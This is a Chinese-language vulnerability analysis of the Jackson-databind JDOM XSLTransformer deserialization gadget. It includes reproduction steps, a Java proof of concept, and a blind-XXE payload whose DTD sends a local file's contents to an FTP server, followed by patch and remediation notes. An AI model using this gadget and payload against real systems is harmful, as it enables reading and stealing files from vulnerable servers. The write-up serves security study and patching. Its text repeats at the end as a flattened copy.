Jackson JDOM XSLTransformer Gadget浅析
字数 1417 2025-08-25 22:58:46

Jackson JDOM XSLTransformer Gadget漏洞分析与利用

漏洞概述

Jackson JDOM XSLTransformer Gadget漏洞是一个结合了Jackson反序列化和XXE攻击的安全漏洞,影响Jackson 2.x至2.9.9版本。该漏洞允许攻击者在特定条件下通过恶意JSON消息读取远程服务器上的任意文件。

影响范围

  • Jackson版本:2.x ~ 2.9.9
  • 依赖库:JDOM 1.x 或 JDOM 2.x

利用条件

  1. 应用程序通过ObjectMapper对象调用了enableDefaultTyping方法
  2. 服务端使用了JDOM 1.x或JDOM 2.x依赖库

漏洞原理

该漏洞利用了Jackson的反序列化机制和JDOM的XSLTransformer类的XXE漏洞:

  1. 攻击者构造恶意JSON,指定反序列化类为org.jdom2.transform.XSLTransformer
  2. 传入恶意XML文件URL作为构造参数
  3. 在反序列化过程中,Jackson会调用XSLTransformer的构造函数
  4. 构造函数内部调用newTemplates()方法处理XML
  5. 最终底层调用SAXParser解析XML时未做XXE防护
  6. 导致XXE攻击成功执行

漏洞复现步骤

环境搭建

  1. 创建Maven项目,添加以下依赖:
<dependencies>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.9.9</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-annotations</artifactId>
        <version>2.9.9</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-core</artifactId>
        <version>2.9.9</version>
    </dependency>
    <dependency>
        <groupId>org.jdom</groupId>
        <artifactId>jdom2</artifactId>
        <version>2.0.6</version>
    </dependency>
</dependencies>

准备攻击文件

  1. 创建测试文件c:/hello.txt(目标读取的文件)
  2. 编写poc.xml(Blind XXE利用):
<?xml version="1.0" ?>
<!DOCTYPE any[
<!ENTITY % file SYSTEM "file:///c:/hello.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/evil.dtd">
%remote;
%send; 
]> 
<foo></foo>
  1. 编写evil.dtd
<!ENTITY % ppp "<!ENTITY &#x25; send SYSTEM 'ftp://127.0.0.1/%file;'>">
%ppp;

启动服务

  1. 使用Python启动HTTP服务(端口4444):
python -m http.server 4444
  1. 使用IPOP V4.1软件搭建FTP服务

执行漏洞利用

编写并执行POC代码:

package com.jacksonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String[] args)  {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String payload = "[\"org.jdom2.transform.XSLTransformer\", \"http://127.0.0.1:4444/poc.xml\"]";
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

漏洞分析

  1. 调用链分析:
mapper.readValue
    -> XSLTransformer
        -> newTemplates()
            -> XSLTC.compile()
                -> Parser.parse()
                    -> SAXParser.parse()
  1. 关键点:
  • enableDefaultTyping允许指定任意类进行反序列化
  • XSLTransformer构造函数接受外部URL参数
  • 底层XML解析未设置XXE防护:
    // 缺失的安全设置(OWASP推荐):
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    

补丁分析

Jackson在后续版本中将以下类加入黑名单:

  • org.jdom2.transform.XSLTransformer
  • org.jdom.transform.XSLTransformer

补丁提交记录:
https://github.com/FasterXML/jackson-databind/commit/5f7c69bba07a7155adde130d9dee2e54a54f1fa5

修复建议

  1. 升级Jackson-databind到最新版本
  2. 关闭enableDefaultTyping功能
  3. 如果必须使用,应配置安全的PolymorphicTypeValidator

参考链接

  1. Jackson官方文档:https://tool.oschina.net/apidocs/apidoc?api=jackson-1.9.9
  2. 漏洞报告:https://github.com/FasterXML/jackson-databind/issues/2341
  3. Debian漏洞报告:https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=930750
  4. 补丁提交:https://github.com/FasterXML/jackson-databind/commit/5f7c69bba07a7155adde130d9dee2e54a54f1fa5
Jackson JDOM XSLTransformer Gadget漏洞分析与利用 漏洞概述 Jackson JDOM XSLTransformer Gadget漏洞是一个结合了Jackson反序列化和XXE攻击的安全漏洞,影响Jackson 2.x至2.9.9版本。该漏洞允许攻击者在特定条件下通过恶意JSON消息读取远程服务器上的任意文件。 影响范围 Jackson版本:2.x ~ 2.9.9 依赖库:JDOM 1.x 或 JDOM 2.x 利用条件 应用程序通过ObjectMapper对象调用了 enableDefaultTyping 方法 服务端使用了JDOM 1.x或JDOM 2.x依赖库 漏洞原理 该漏洞利用了Jackson的反序列化机制和JDOM的XSLTransformer类的XXE漏洞: 攻击者构造恶意JSON,指定反序列化类为 org.jdom2.transform.XSLTransformer 传入恶意XML文件URL作为构造参数 在反序列化过程中,Jackson会调用XSLTransformer的构造函数 构造函数内部调用 newTemplates() 方法处理XML 最终底层调用SAXParser解析XML时未做XXE防护 导致XXE攻击成功执行 漏洞复现步骤 环境搭建 创建Maven项目,添加以下依赖: 准备攻击文件 创建测试文件 c:/hello.txt (目标读取的文件) 编写 poc.xml (Blind XXE利用): 编写 evil.dtd : 启动服务 使用Python启动HTTP服务(端口4444): 使用IPOP V4.1软件搭建FTP服务 执行漏洞利用 编写并执行POC代码: 漏洞分析 调用链分析: 关键点: enableDefaultTyping 允许指定任意类进行反序列化 XSLTransformer构造函数接受外部URL参数 底层XML解析未设置XXE防护: 补丁分析 Jackson在后续版本中将以下类加入黑名单: org.jdom2.transform.XSLTransformer org.jdom.transform.XSLTransformer 补丁提交记录: https://github.com/FasterXML/jackson-databind/commit/5f7c69bba07a7155adde130d9dee2e54a54f1fa5 修复建议 升级Jackson-databind到最新版本 关闭 enableDefaultTyping 功能 如果必须使用,应配置安全的 PolymorphicTypeValidator 参考链接 Jackson官方文档:https://tool.oschina.net/apidocs/apidoc?api=jackson-1.9.9 漏洞报告:https://github.com/FasterXML/jackson-databind/issues/2341 Debian漏洞报告:https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=930750 补丁提交:https://github.com/FasterXML/jackson-databind/commit/5f7c69bba07a7155adde130d9dee2e54a54f1fa5